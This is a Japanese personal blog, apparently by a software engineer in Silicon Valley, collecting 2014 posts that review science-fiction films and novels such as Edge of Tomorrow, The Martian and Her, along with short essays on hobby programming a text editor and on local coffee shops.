その核となる部分というのは、「正体不明のエイリアンに襲われて人類は押されている状態」「ほとんど新兵状態の主人公がいきなり前線に送り込まれる」「エイリアンに由来するとある理由により主人公だけが、死ぬと前日に戻り時間がループする」「同じ日を繰り返すうちに主人公は次第に熟練していく」「人類側のエース級の兵にリタという女性がいて、彼女はループの謎を解く鍵をにぎっている」とまあこんなもん。あと登場人物の名前は(主人公以外は)わりと原作そのままかな。

それ以外の部分は全部違うといったほうが適切。とくに「どういう機序によって時間のループが発生するか」「ループから脱出する方法」などが大幅に違います。したがって結末も全く異なるものとなっています。

でもまあ見ていて、これでも良いのかなという気がしてきました。見る前に『All you Need Is Kill』を再読したんですが、なんというかこう、あんまし映画向きというわけでもない(部分も多々ある)よね。原作に忠実にしつつ適宜改変を加えるよりは、基本設定から再構成するという判断でもまあ良かったんじゃないかな、という気もします。原作の映像化も、それはそれで見たかったという気もするけれど……。

映画としては、ひとつにはミリタリーものという側面があって、いきなり戦場に放り込まれた主人公が右往左往していくなか、周囲でもどんどん人が死んでいく過酷なシーンの繰り返しというものがあります。繰り返していくなかで次第に熟練していく主人公がだんだん人を助けられるようになっていくといった展開も面白い。

もうひとつ、主人公だけが同じ時間を繰り返すために主人公はある種の予知能力的なものを持っていることにあり、それを流用していろんなことを試みるわけですが、このセリフ回しや展開でちょっと笑っちゃうところも多々。ループものの面白さはかなり生かされていると思います。

難点を挙げるとすると、エンディングはもうひとつ納得いかないのと、やっぱり冒頭、軍の広報みたいなことをやっている少佐がいきなり三等兵に降格されて出撃という展開がちょっと無理めな気がするんですよね。原作だとただの新兵なところが少佐って……まあトム・クルーズの顔で新兵というのはどうしても無理があるだろというのは確かなんですが(笑)。

タイトル Edge of Tomorrow というのは、ストーリーを完全に変えたものとしては良いと思います。All You Need Is Kill というタイトルは原作のあのラストの展開と結末を踏まえないとつかないタイトルなので。

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ちなみに、なんでまた日本人のライトノベルがハリウッド映画化されているかという話なんですが、日本のSFを英語に翻訳してアメリカなどで売るという出版社がいくつかあり、そこで英訳されていたという下地がありました。桜坂洋の代表作は『よくわかる現代魔法』シリーズかと思われますが、本作が選ばれたのは長いシリーズでないということと、たぶん英語圏でも受けそうな内容だというあたりでしょうか。それがあたったのは確かですね。原作そのままの映画にはできないまでも映画にしたくなるような設定ではあった、ということでしょうか。

# いま見たらグラフィック・ノベルにもなってたのね。でもデザインがダサすぎ(笑)

2014-06-08

地上最後の刑事。おすすめ



ベン・ウィンタース『地上最後の刑事』

1年ほどまえに発見された小惑星マイアは、やがてその軌道が地球とまじわり、つまり衝突することが明らかになり、その結果、人類は滅亡するか、すくなくとも文明が崩壊するレベルの破滅が起こることが確実になった。

衝突の予定日は、約半年後。

自暴自棄になる人もいる。有り金をはたいて最後の贅沢をしたがる人もいる。人々は仕事をしなくなるのでインフラが崩壊しつつある。もちろん、自殺をする人もいる。

そんななか、アメリカのごく平凡かつ平穏な街のマクドナルドのトイレで、男の死体が発見される。ベルトで首を吊ったのだ。生真面目というきらいのある保険屋の男。だれもが、当節ならありふれた自殺だと思う。そもそも今日び犯罪捜査なんてだれもやる気がない。どうせ半年経てば同じなのだ。

それでも主人公は、わずかな引っ掛かりをもとに、これを殺人事件として捜査しはじめる。

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いやーこれは面白いね。

破滅することがわかった社会をリアルに描く、となると、破滅もののSFになってしまうんだけど、この本はそこのリアリティや社会を描くということに拘泥せず、あくまでも警察小説の線を保っている。つまり、一部におかしい人はいるけれども、概ねの人はまあまあそれなりに生きようとしている。けれども、小惑星の存在は誰もの心の上に、いつも重くのしかかっていて、行動に影響を与えないはずがない。そういう社会に生きるそういう人々の機微を、警察小説・犯罪小説という面からうまく描いているように思う。

破滅ものをSFとしてしまうと、どうしても人類全体を描くような大きな物語になるか、人類全体の行く末と個人の運命が奇妙に結びつくセカイ系になっちゃう。そういうところに陥らずに面白いポジションをキープしているのがこの本の面白さだ。

警察も総じて士気が低く、そもそも人材が枯渇しており(放蕩生活をすると決めていなくなってしまった人も多いので)、しかもみんなどうせこの件は自殺だろうと決めてかかっているため主人公が孤軍奮闘するという展開になるのだけど、結果的にここがノワールぽい雰囲気になっているという解説の指摘はひざポン。でも主人公はぜんぜんタフじゃないんだよね。読んでいて俺のイメージは線の細い新米くんな感じ。なぜ刑事を続け、なぜ事件捜査をするのか、本人もうまく説明できていない。

物語としての構成はさらに複雑で、警察小説として犯罪の謎を解くという物語の筋と平行して、主人公の妹や妹の恋人、主人公の元恋人などがからんでくる謀略がじょじょに形を見せていく、といった体裁になっている。ただそちらのほうは本書だけでは完全には解決しない。本書は3部作だそうで、その辺のストーリーは続刊で絡んでくるのかな。

ただこの、いかにもSFっていうようなSFといった設定でありながら、その実わりと普通の警察小説でもあり、そうでありながらこのSF設定でないと成り立たない筋立てになっているという微妙なさじ加減がこの本の妙味だなあと思って読んだので、妹がらみのストーリーに主軸を移していくとあんがい平凡なSFになってつまんなくなる危険性は秘めているかも、という気もします。

とはいえ本書単品としてはとてもよい。おすすめ。

2014-06-02

盆栽プログラミング



Google+に限定公開で書いたらそこそこウケが良かったので一般公開してみる。

さいきん、趣味のプログラミングでテキストエディタを作っている。HTML/JS/CSSでPolymerを使って書くというのを特徴ということに定めて、ちまちま書いているところ。まだシンタックスハイライティングやモードなどが存在しないので未完成もいいところ。

で、エディタなんて簡単でしょ、と思うわけだし、実際のところものすごく難しいということはそんなに多くない。大枠は単純きわまりないものであって、キー入力から編集コマンドを実行してビューを適切に保つというだけのはなし。大枠の部分は、まあそれほど苦労しなくてもある程度動くところまではできる。

ところが、ものすごく細々したどうでもいい細部が、案外いろいろあるのだった。たとえば……などと書き始めるときりがないのだけれど、些細なことも実装しないと動かなかったりするわけで、まあめんどい。ここ数日は画面のスクロールやpageup/downあたりをいろいろ作っていた。そういうものが山ほどある感じ。

で、趣味でこんなことをやってると、これはなんかこう盆栽だなーと思うわけですよ。

こう、ちまちまと細かいところを直して、しばらくしたら遠くから眺めて「うんうんいいかんじ」ってなるところが盆栽っぽいかなと。……いや、盆栽やったことないのでイメージで言っているわけで、本当のところ全然そんなんじゃなくても驚かないんだけど……。

敷衍すると、ソフトウェア業界には盆栽仕事がけっこうある気がするのだった。いまの自分の本業もわりとそういう面はあるかなと思う。

ただ、わたしは盆栽仕事はけっこう好きだな。世の中的には、ズバンとでかいことをやるほうが華やかだし、好きな人も多そうだけど。そしてそれは否定しないながらも、そういう大きな仕事やハックに付随する形で、盆栽仕事が量産されていく。仕事では、polish(磨く)という単語をよく使うけど、これもまあ近い概念かなと思う。骨董品を隅々まで磨いているかんじ。

ただ、盆栽って単語を持ちだしたのは趣味性の高い活動だからなんだけど、こういうちまちま作業を趣味プログラミングでやるのが良いことなのかどうかはよくわかりませんな。

Photo: Picea abies bonsai / Weetrees contest entry by Chris Guise, CC-BY-NC-SA

2014-05-25

ジョー・ウォルトン『図書室の魔法』。まぁSFファンなら当然好きなんですが……




ジョー・ウォルトン『図書室の魔法』

「ファージング」三部作の著者によるファンタジー……の皮を被ったSFマニア小説。

母と仲違いをし、双子の妹を失った少女モリはウェールズの片田舎からイングランドに住む離婚していた父親のもとに引き取られるが、父の異母姉となる三人の伯母のゴリ押しで全寮制の学校に入れられてしまう。というのを、事故で体をうまく動かせず、SFやファンタジーの読書が趣味の主人公の書いた日記として描く。

また主人公はフェアリーが見える体質で、魔法も使える。といっても、ここで描かれる魔法というものは、見た目に派手な効果を見せたり直接的に働きかけたりするようなものではなく、偶然や巡りあいを引き起こして有利な状況が結果的に引き起こされるといった、ささやかな効果しかない。主人公に言わせれば、仲違いした母親は悪い魔女で、いろんな魔術を使って自分を攻撃してくる……。

ジャンル分類的には日記文学の体裁を取った妖精物語、ということになるんだと思うんだけど、魔法の効果はきわめてささやかであって、妖精譚を期待すると肩透かしと感じる気がする。日記という体裁であることもあり、読者としては、魔法というのは主人公の妄想ないしは創作なのかな、と疑いつつ読んでいくことになる。っていうか、そんな内容の日記を書いちゃうって中二病というか不思議ちゃんというか……。描かれている内容として、妄想なのか作品内の現実なのか、ということが読んですぐわかるものではないバランスの妙はあるのであるが。

どちらかといえば、特殊な出自で周囲とうまくなじめず、妖精が見えるとか言い出しかねない孤立した不思議ちゃんが周囲と折り合いをつけつつ生きていく、といったことを描いた作品として読むべきなのだろう(原題の among others というのも、やっぱりそっちが主題だからついたタイトルだ)。

そういうわけで、本書の見どころはやはり周囲にうまくなじめない孤立した学校生活、と同時に主人公が読んだSFのタイトルや作家名、感想などがばんばん出てくるところであろう。日記の日付は1979年から80年にかけて、ティプトリーやル=グウィン、ディレイニーなどの傑作タイトルをどんどん読んでいるわけでして、コレを読んで悪い印象を持つSFマニア読者はいないんじゃなかろうかw SFマニアはこういうふうに周囲から孤立した青春を送った人も多いと思うんですよね……。

だが一方、共感を呼ぶという点では、むしろあざといぐらいな設定がなされている本でもあります。運動は(事故の関係で)できないけれども成績は優秀で数学以外の全教科で優等生、でも周囲にはなかなかなじめずに孤立しているが一目置かれている、といった設定。近くの図書館で開かれている読書会(というかSFファングループの例会ですな)に顔を出すようになり……といった展開もねえ。で、SF大会の存在を知って感激する、とか、ここまでくるとオレですら「それはちょっと」という気分に。

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話がすこしずれた。

というわけで、どちらかといえば不思議ちゃんのSF読書日記として読むべき本ではないかと思う。で、この場合、良いか悪いかという評価よりは、こういうのが好きか嫌いか、主人公の読書遍歴や感想に共感できるか、といった個人的な趣向が大きな影響を与えるタイプの本だと思った。

オレはまあ好きです。

2014-05-19

野地秩嘉『イベリコ豚を買いに』



野地秩嘉『イベリコ豚を買いに』

ちょっと不思議な読後感のノンフィクションである。

本屋でたまたま見かけ、帯や出だしが面白そうだったので買ってみたのだが、おそらくその導入から期待されるような筋道に至らない。

帯にも書いてあるが、導入はこんな具合だ。東北の小さな飲食店でイベリコ豚のメンチカツを食べながら著者はふと疑問に思う。たしかにイベリコ豚というのがブランド化して流行っている。秋田の小さな店でも出るほど日本全国津々浦々に出回っている。でも、なんかどんぐりを食べる希少な豚じゃなかったんだろうか。そんなに大量消費されるほど、イベリコ豚とは出荷されているものなのか。本当のところ、いったいどんな豚で、ふつうの豚とどう違うのか。それで興味を持った著者が取材を申し込み、いろんな障害の末に実際に放牧されているイベリコ豚をスペインで目にするまでに2年かかったというのである。

だから、こういう出だしからして読者はたぶんこう思うのだ(というかオレはそう思ったという話ですが)。「ははあ、つまり、そもそもふつうの豚がどうやって生育され、流通しているのか、イベリコ豚はどこが特殊なのかを追ったルポタージュ的な本なのだろうな。実際の対面が本のクライマックスといったところだろうか」

はずれ。大ハズレです。

全10章のうち、イベリコ豚との対面は3章、スペイン取材は4章で終わっちゃうのだ。その段階で、ふつうの豚の生育方法やイベリコ豚との比較が手際よく解説され、読者としても事情はだいたいわかってしまう。

じゃあこの本の残りはどうなるのか?

その後は、著者がいかにイベリコ豚を使った新商品を開発するかの奮戦記がはじまってしまうのである。

というのが何故かというと、スペイン取材の段階で、「豚を買う」ということを口実にしていたからである。豚を買うと言っても家族や友だちに配ってふるまうわけじゃない。売るのだ、できれば利益を出すのだ。と、著者は決心する。

食にまつわるノンフィクションを書いているという著者は、業界関係者の知り合いも多いようで、そういった知り合いに助けを求める。そうした知り合いを巻き込みながら、いろんなトラブルをなんとかかんとか乗り越えつつ、商品企画を練り上げ、製品を作り、実際に売りに出す。しかも、本業はジャーナリストであるような、いわば「素人」である著者がそういう場に実際に立ち会い、食品を売る、新商品をつくるという過程においていかに自分が素人であり、いかに自分が新しいことを学んだかを率直に記す。

ようするに本の後半は、ある種のビジネス書なのである。素人が頑張って加工食品を作って売ってみた、と言葉で書くと単純だが、そこに至るまでの膨大な手間ひまと交渉と試食と……もろもろの過程を素人目線で書いている。

本書のラストは、この新商品を携えてスペインにあるイベリコ豚の取材先をふたたび訪れるというものだ。そこで「お前はジャーナリストじゃない。いまや同業者だ」とまで言われてしまうのである。

いや……それ、ノンフィクション作家として、どうなのよ?? と、読者としては疑問符つきまくりになるくだりである。が、そのわりに不思議と読後感は悪くない。

一冊の前半がふつうのジャーナリスティックな調査とまとめなのに、後半はビジネス書というのは、なんとも不思議な構成である。だが、不思議な構成でありながら、決定的にダメだというわけでもない。ぼくはこの著者の本を読むのははじめてなのだけれど、著者のキャリアは長く、文章は的確だ。なんとも不思議な本である(僕自身はソフトウェアエンジニアだからさほどでもないが、商社のようなモノを扱う職の人にとっては、著者の「学び」はわりと基本的なしょーもないことのようにも思ったりもするが)。

イベリコ豚とは本当はどんな豚で……といった情報を知りたいというのであれば、あまりおすすめできる本ではない。だが、結果的にはユニークな本ではあるように思う。

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ちなみに本書についた一番はじめのアマゾンレビューはこんな感じのコメントであった。
5つ星のうち 5.0 楽しく読むことが出来ました。 2014/4/28
By 武部 太
検証済み購入品
陽の当たる方向へ人々を巻き込んで行く実話にのめり込みました。
投稿者名となっている武部太というのは後半の商品開発プロジェクトに関わる人と同名なので、ここまで「中の人乙」感のあるコメントもなかなかないものであろう。が、そこもまた、悪くない。これだけで武部氏の人柄や、プロジェクトの良好な雰囲気が伝わってくる(本そのもののレビューとしてはまるで役たたないけど)。

2014-04-28

石黒達昌「アブサルティに関する評伝」。論文捏造を扱ったSF



そういう作品もあったか、と石黒達昌「アブサルティに関する評伝」(『冬至草』所収)を読み返す。

アブサルティは優れた実験手腕を持つ若手研究者で、画期的な新理論を提唱し、優れた成果でノーベル賞も近いと思われていた。だがふとしたきっかけで、実験データはすべて捏造であるということが発覚する。

アブサルティは不思議な自信家で、捏造が露見しても、衆人環視の元では実験が再現できなくても、余裕は崩さない。
むしろ主人公に、「実験などということに意味はあるのか」と問いかける。真実こそが重要だったのではないか。実験は、正しさを説得するための余計な作業なのではないか……。

結果的にはアブサルティは経歴詐称も発覚し、研究室を追われる。天才と言われたことさえある彼の所業は業界に知れ渡る。

……だが、実験結果は捏造であったけれども、その結果から導いたとされる彼の提唱した理論じたいは正しかった(整合的な実験結果が出た)ことがのちに明らかになる。

もちろん、主人公への彼の問いかけは、自信過剰な狂人のたわごとだったのだろう。本人は再現に失敗したのだし。だが……。

本作は文学作品であり、アブサルティの言動もきわめて文学的だ。だが、創作だからこそありうる文学的な割り切れなさが素晴らしいと思う。現実の問題に向き合うのではなく、この種のテーマでモヤモヤしたいならおすすめの佳作だ。まったく不思議な、割り切れない結末になっている。

実際の世の中のふつうの捏造はもっとどうしようもないものなのだろう。複雑なプロットのコンゲームに対して現実の詐欺はもっとほんとしょーもないものだ、というのに、似ているのかもしれない。

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石黒達昌はアメリカで医療系機関で(たぶんいまでも)勤務しつつ小説を書いていた人で、本書『冬至草』は理系的なテーマの作品を集めた短篇集(これをSFと呼ぶかどうかは人によるかも)。渋い作家だが個人的には面白い作品を書いていたと思った。とはいえ、刊行当初はいまひとつピンときていなかったので、そこのところはどうなのか昔の自分。

たとえば表題作の「冬至草」は北海道の田舎にあった不思議な生態の絶滅した植物を追う物語、「希望ホヤ」は死に至る病に冒された娘を助けるために必死の努力をする弁護士の父が、結果的に生物一種を絶滅に追いやってしまうという話。など。

なお、「アブサルティに関する評伝」は2001年に小説すばるに発表された短編。

ところであとがきには Vertical から英訳の刊行が決まったとあるのだけど、探しても出てこない。どこにあるのだろう……。

2014-04-07

キャプテン・アメリカ/ウィンター・ソルジャー

キャプテン・アメリカ/ウィンター・ソルジャー』見ましたよ。

いや、うーん、期待しすぎた感もありますが、タイトルのわりにはウィンター・ソルジャー自身はあんまりこう、作中では大事な役割じゃないですね……。けっきょく敵の尖兵のひとりじゃん的な。

ストーリーも原作とは大幅に異なっています。今回の敵も一本目の映画とおなじくヒュドラで、ウィンター・ソルジャーも秘密裏にヒュドラによって回収され利用されてきたという設定。そのヒュドラは前作ではナチス・ドイツを隠れ蓑に活動してきたということになっていますが、今回はなんと S.H.I.E.L.D. 自身に潜んでおり、そのために S.H.I.E.L.D. 自体が割れて大混乱になるという筋立て。このストーリー自体は非常に面白かったし、しかも、安全保障のために強い力を持つことの是非や、ヒュドラの思想は平和のために自由を抑圧するものであるということに説得力を感じる層の存在などは、アメリカの現状をうまく捉えたストーリーになっていると思います。

いっぽうで、ウィンター・ソルジャーの原作は、過去の自分との対峙という面があったかなと思うんですが、そういう面は薄いかなぁーとも思いました。まあ実際、映画一作目は氷漬けになる前の話で、実質的な現代における活躍は『アベンジャーズ』だけですから、過去と対峙するというほどの「現在」が、この映画版キャップにはあまりないんですよね。

まあ細かいことを考えずとも空中巨大空母を舞台に戦う映像はむやみにカッコイイですよ。出動シーンも水路が割れるというお約束の展開だしね!(笑)

笑えるのはキャプテン・アメリカ博物館みたいなのが出来ているということでして、まあ当然あるだろうなーと思うわけですが完成度高い。あれはちょっと行きたい。

登場サブキャラとしては、ブラック・ウィドウはほとんど準主役。スカーレット・ヨハンソン出っぱなしでした。それから、空飛んでる人がいてすごいなーと思ってたんですが、ファルコンていうキャラがいるのね。いやー知識ないとわかりませんな……。ファルコンはかなりの活躍ぶりで、かっこよかったよ。

# しかし、こんだけ無茶なストーリーをやっておいて放映中の Agents of S.H.I.E.L.D. との整合性はどうなっておるのだろうか。大変そうだ。

2014-04-06

ロビン・スローン『ペナンブラ氏の24時間書店』。伝統とテクノロジーの混交



すっかり感想を書き忘れていましたが、縁があって『ペナンブラ氏の24時間書店』という本を読みました。今月末ぐらいに発売されるぽい。

結論を先に書いておくと、なかなか面白かった。とくにWeb系な人はわりと楽しめると思う。

サンフランシスコのスタートアップでウェブデザイナーというかフロントエンドまわりをいろいろやって働いていた主人公だが、会社はうまくいかなくなり潰れてしまう。残ったのは会社の備品だったMacbookのみ、次の仕事までのつなぎとしてひとまずバイトをすることにしたのが、ペナンブラ氏の24時間書店という、文字通り24時間営業の古本屋。この本屋の夜間バイトをして糊口をしのぐことにする。

ところがこの本屋、どこかおかしい。一見するとふつうなのだけれど、奥には謎の書架があって、そこには読めない言語で書かれた、ふつうには存在しないと思われる本がぎっしり。奥は会員制で、たまにくる不思議な連中だけが一冊ずつ借りてゆく。

ふとしたきっかけでGoogle社員の女の子と仲良くなった主人公が、コンピュータのパワーを使ってこの謎に挑んでいく、というのが主な筋立て。

先に難点を書いておくと、この本のコンピュータやテクノロジーの描写はちょっとアレ。エンジニアからするとさすがにそれは……という見過ごせない瑕疵があちこちにあるのは確かで、読んでいてあちこちでひっかかってしまう。行きがかり上気になるのはやはりGoogle関連の描写。主要登場人物のひとりがGoogle社員なので比較的いろいろ出てくるのだけど、これが非常にファンタスティックな会社になっている。まあ会社自体の描写はフィクションということでわざと過剰にしているのだろうけど、その影に隠れた技術的なディティールには、なるほど著者は全然詳しくないのだなあとわかるような変なところがいっぱいあるのだった。たとえば普通のGoogleエンジニアはHadoopは使わないはずで、なぜなら内製のオリジナルMapReduceがあるからなのだが、つまり作者はHadoopというのがMapReduceの論文から生まれたクローンだということを知らないのだなぁと思ったりとか、そういう部分。あと会社内のコンピュータの台数ってどれぐらいなのか想像もできてないんだろうなーとか。

物語の結末で解かれる謎についても……まあこれについてはネタバレしないように言及は避けるけれど、それって、暗号理論の教科書でもすぐ出てくるような、ものすごく単純なやつじゃね? コンピュータに解けないわけがないと思うんだけど。

などなど。長すぎた。

ただやっぱりこの本には否定できない魅力もあって、しかし、それは上の瑕疵と表裏一体なように思う。なんと書いたものか……アマゾンのレビューから引用してみると、それはつまり Past meets present and envisions future. ということになるのかもしれない(これは褒めすぎだと思うけど)。

つまり、この作品が描いているのは、過去と未来の混交なのだ。

舞台が「書店」であるということもあって、たとえば古い本であったり、たとえば書体……とくに実際の書体の金型といった物理的な実体であったり、そういった「古いもの」の魅力が、本書では存分に描かれる。ほかにもたとえば、古本屋には秘密主義の頑固ジジイがいるし、秘密結社は過去の伝統に縛られていたりする。

でもそれだけじゃない。主人公たち若者は、そういう謎や因習に、テクノロジーで挑んでいく。主人公は序盤でRubyはいい、とか書いていたりするし、本来は別な方法で解かれるべき謎も、コンピュータでデータをビジュアライズして飛び越えてしまったりする。

この「過去へのリスペクト」と「テクノロジーへの愛」の混交こそが、この本の魅力と言えるだろうと思う。だから過去の因習の描写もあるいっぽうで、テクノロジーについてもばんばん書かれているし、細かいところがおかしくても、この構造自体には否定できない魅力があるのだった。

ただ「混交」ということはもちろん「コンピュータテクノロジーですべてが解決される」といった単純な構造ではなく、もっと複雑な関係を描いている --- 少なくとも作者はそこを目指そうとしているようだ。なので、どちらか一方の視点しかない読者、つまりガチガチのテクノロジスト(まあぼくもある種コレなので上で論難しているわけだが)やテクノフォビアにはまったく響かないだろうとも思う。それと、「複雑な関係」というものについて作者はほんとうにうまく描いているか、とか、最終的にこれはどうなんだ、という批判はありえて、それは同意するけれど。

また、この道具立て自体が非常に現代的かなあと思っていて、テクノロジストの中心地であるシリコンバレーでも、伝統と格式の東海岸でもなく、両者が奇妙に入り交じるサンフランシスコを舞台に選んだのも、Twitter 勤務経験のあるらしい作者ならではという気もしている。

まあ悪くない本ですよ。

2014-03-16

The Lego Movie!! これは良いものだ

The Lego Movie 観てきました。これは良いものだ。

まあでもねえ、たとえば、宇宙飛行士のヘルメットのアゴのところが割れとるわけですよ(笑)。とかいう段階で「うおおお」てなります。なるよね? あそこ、やっぱよく割れるんだろうなあ。

ストーリーじたいは単純で、なんてことない普通のひとであるエメットが、ひょんなことから世界のすべてを凍結してしまう恐ろしい兵器である kagle を封じるものをくっつけてしまい、伝説にある「マスター・ビルダー」と誤解され、世界の行く末をめぐる戦いに巻き込まれる……というもの、なのだけど……。

このレゴ世界と、現実との微妙な対応関係が面白い。この作品は、そういうストーリーをレゴをつかって表現したストップモーション作品じゃなく、微妙に現実世界との関わりがかいま見える箇所がある。マスタービルダーという存在がそうだし、kagleの正体もわかってみればなんてことないものだ(まあレゴ世界から見たら大層なものだろうが)。

そして……ネタバレをせずに描くのは難しいけれど、この現実との微妙な対応関係が、話のある段階から大きな転換を迎えて、クライマックスに至るわけだけど……これが良いのだ。とても。こういう話になるのかー!と感心した。

いや、おすすめ。

2014-03-12

Andy Weir "The Martian" --- 火星で決死のサバイバル。翻訳しないかな



Andy Weir "The Martian" を読んだけど、たいそう面白かった。

NASAによる人類初の有人火星計画「アーレス」。その3回めのミッションに参加したマーク・ワトニーは、ミッション6日目にして人生最悪の日を迎える。

その日、探査ミッションを嵐が襲ったのだ。風速は想定を越え、危険が伴ったため、ミッションは中断。クルーは全員で火星を脱出し、地球に帰還することになった。

マークを除いて。

嵐のさなか、マークは事故に遭って姿が見えなくなり、通信が途絶してしまっていた。バイタルサインも失われた。死んだのだ、と誰もが思った。だが生きていたのだ、すくなくとも6日目に死んだりはしていなかった。ひとり取り残されたマークのもとにあるのは、残った基地の設備と、放棄された糧食のみ。設備が壊れたら死ぬし、糧食を食べ尽くしても餓死。地球や他のクルーへの通信手段もない。誰にも気づかれないまま、マークは決死のサバイバルを開始するが……。

といったあらすじ。

物語は、このマークが書き残したという日誌という形式で始まる。その後はちょっといろいろあるけれど、大部分は彼の視点で、しかも1日の終わりに書いた日誌というかたちで物事が記述されていく。

これが面白い。食料はどう確保するか? そもそも、どうやったら生き延びられるのか? 基本的には、次の計画である「アーレス4」の予定は決まっているので、そのときまで生き延びられ、彼らとコンタクトが取れれば生還できる。だがどうやって? しかも、アーレス4の着地予定地点まではかなり離れていて、そこまでたどり着くことすら至難の業に思える。

状況は刻々と変化する。トラブルも次々に起こる。しかも、一息ついたらまたデブリが飛んでくる、みたいな一本調子なトラブルではなく、状況の変化に応じて多彩な問題が起こり、それを様々な方法で解決していくので、読んでいて飽きさせない。

少しネタを割ると、地球側の描写も序盤を少し過ぎたぐらいから入ってくる。火星探査用の人工衛星はあるので、それで撮影した衛星写真から、マークがどうやら生きているらしい、ということはわかるのだ。だが、地球からもコンタクトする手段はない。したがって地球側としても見ているよりほかにはやりようはなく、とにかくアーレス4の計画を早めるしかない。だが、間に合わないのではないか。そもそも予定より早めて問題はないのか……。

などなど。

作者のAndy Weirは、一言で言うと宇宙マニアみたいな人らしく、本作ははじめて書いたデビュー作。というか、実は2011年に自費出版していたものの再販ということらしい。作中の描写やトラブルの内容などは、したがって非常にリアル。非常にリアルだが地味ではなくて、主人公はほんとにそれ死ぬだろ……みたいなすごいトラブルに遭遇しまくる。

こういう宇宙ネタやサバイバルものって日本でもウケは良いと思うので、どこか翻訳したら良いんじゃないでしょうか、と思いました。

2014-03-08

her/世界でひとつの彼女

『her/世界でひとつの彼女』を観てきました(→日本の公式サイト

なぜか予備知識がほぼなく「コンピュータのオペレーティングシステムの声に恋をする男を描いた物語」というコンセプトしか知らなかったので『ラースと、その彼女』(傑作!トレイラーとりあえず見るべし)みたいなタイプの映画なのかと思ったら、なんとびっくりSF映画でしたw

ただでも、その、この映画はそういう映画ではなかったけれども、この映画はこの映画として傑作でしたね。面白かった!

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この世界では携帯デバイスに対しておもに音声ですべての処理を行っていて、コンピュータと会話するようにいろんな処理をする。そこにやってきた最新型のOSは超進化したパーソナルアシスタント的なやつで、もうほんと個性を持った個人みたいに会話が成立しちゃう。主人公は奥さんと離婚調停中で、仕事が終わったら家でひとりゲームをしているような人。

ただ、孤独な中年が狂っちゃうようなステレオタイプないじり方とは少しちがう。主人公も主人公なりの生活がそれなりにあって、周囲もきちんと描かれる。なんというか、うまく表現はできないけれど、こういう設定で想起されるような「社会不適合的な性向のある人」という描き方ではなく、もちろん何もかもが上手くいっているわけではないけれども、こう、なんというか、ごくふつうの人なのだたぶん。周囲も、「恋人ってOSなんだよね」みたいなことを言うと戸惑ったりはするけれども、「まあそういう人もいるかな」ぐらいの感じで受け入れていたりする。

とはいえ、個人的には物語よりはディティールを楽しんだ映画で、ディティールがよくできてていちいち面白かった。主人公のプレイするゲームの描写とか、そのゲームに登場するキャラが生意気だけど可愛かったりとか、ママゲームがヒドかったりとか(爆笑します)、いろいろあってサマンサを主人公が責めるシーンのセリフまわしがいちいち「浮気された男が浮気症の女を難詰する」風にハマっちゃってるところとか(笑えます)。

主人公の住む未来の都会風の映像(上海ロケらしい)がなかなか雰囲気があって良かったり、海岸や雪山に旅行したりするシーンも美しい。などなど。

いや、面白かったです。

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あとどうでもいいけど主人公の元妻というか離婚調停中の妻(ルーニー・マーラ)が無駄に可愛い。この映画では別にあんな美人を使わなくてもいいのでは。

あとサマンサの声はスカーレット・ヨハンソンなんだけど、声だけで身体はまったく出てきません。

2014-03-02

シリコンバレーでコーヒーを飲む

ぼくは昔っからお茶ばっかり飲む人間でコーヒーとは無縁でした。実家でも家族がみな朝にコーヒーを飲む中で茶を淹れる日々。

アメリカに来てからも、ちょうどミツワという日本スーパーの中にルピシアが出ているのを知ってからはそこでお茶をあれこれ買って会社や家で愛飲しております。

が、やっぱりアメリカに来るとコーヒーが美味いな、となります。とくにここ10年ほどでサードウェーブコーヒーというのが勃興しており、コーヒーのクオリティが良くなっている(らしい)というのもあるのかもしれません。浅煎りで香りの立つコーヒーが美味しい。

ただ、サードウェーブとして有名なコーヒーというと(ベイエリアでは)、Blue Bottle、Ritual、Sightglass、Four Barrelなどなんですが、どれもサンフランシスコを中心としており、シリコンバレーあたりには支店がありません(余談ながら、サンフランシスコ市内とシリコンバレーの地理的中心は60km以上離れてます。東京都心から厚木ぐらいは離れてるので、そういう距離感だと思っていただけると幸い)。サンフランシスコまで行った際に寄るならいいんだけど、やっぱりカフェというのは身近なところに日常通うものかなと思うわけです。

それでこの辺のカフェをいくらか回ってみて、やっぱりこう、ダークローストのふつうのコーヒーを出すところも多いんですが、南のこの辺にも僕好みのサードウェーブっぽい美味しいコーヒーを出すところもあるのはわかりました。でもまあほかにも美味しいカフェ情報を教えて欲しくて、とりあえず手元のデータを晒してみてフィードバックを求めたい所存です。

あ、サードウェーブといえばラテアートもだいじっぽいんですが、ぼくは最近はストレートのブラックコーヒーを飲むことが多いです。

1. Red Rock

マウンテンビューのダウンタウンにあるカフェ。Four Barrelのコーヒー豆を使っています。コーヒーは作りおきですがかなり美味しい。日替わりでコーヒーの種類が変わるみたい。雰囲気もよく、wifiが配備されていて、たまに2階ではミュージシャンが演奏してたりします。

シリコンバレー界隈の人たちがよく集っているようで、Macで作業してる率が半端ないです。そういう方面に詳しい人であれば良いかもしれませんが、反面いつ行ってもすごく混んでいるという難点はあります。

こないだFacebookに買収されたWhatsAppも初期はここで開発してたらしい、と新聞記事に書いてありました。

2. Philz Coffee

パロアルト、クパチーノ、サンノゼなど、サードウェーブ系のコーヒー屋さんとしては比較的広めに展開しているところです(本店はサンフランシスコ)。注文するとその場でコーヒーを淹れはじめるところが面白い。

コーヒーの種類もたくさんあるんですが、実はふつうのコーヒーは頼んだことはなく、いつもスペシャルティコーヒーを頼んでしまいます。個人的なお気に入りはミントモヒート(↑)。

いま調べてたらFacebookオフィス内にも出店してるらしい。ちょっと羨ましいw

3. Chromatic Coffee

サンタクララのStevens Creek沿いにあるコーヒー屋さん。1店舗のみで支店などの展開はなし。自分のブランドのコーヒー、マイクロロースティング、注文したら淹れはじめる、などなど典型的なサードウェーブコーヒーかなと思います。

Googleでの評価が高いのでこないだはじめて行ってみたんですが、けっこう気に入りました。コーヒーは美味しいです。席数はさほどでもなくwifiも入ってましたが、あまり激混みではありません。場所がすごく便利ではないからかなぁ。

4. Bellano Coffee

同じくStevens Creek沿いのコーヒー屋。サンノゼにも支店があるらしい。小さな店で、今日行ってみただけですがコーヒーは美味しいと思います。自前ブランドの豆も売ってるようす。

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とまぁ、こちらからは以上ですが、どこかオススメはありますでしょうか。

2014-02-27

リメイク版ロボコップ。案外悪くないし、けっこう現代的な映画になっていると思う

見てきました。トレイラーを見て、映像がかっこよさげなので、仮に駄作でもまぁこの映像が見られればいっか、ぐらいの気分だったんですが、なかなか悪くない作品だと思いました。こちらでの評判はけっこう悪いみたいなんですが。

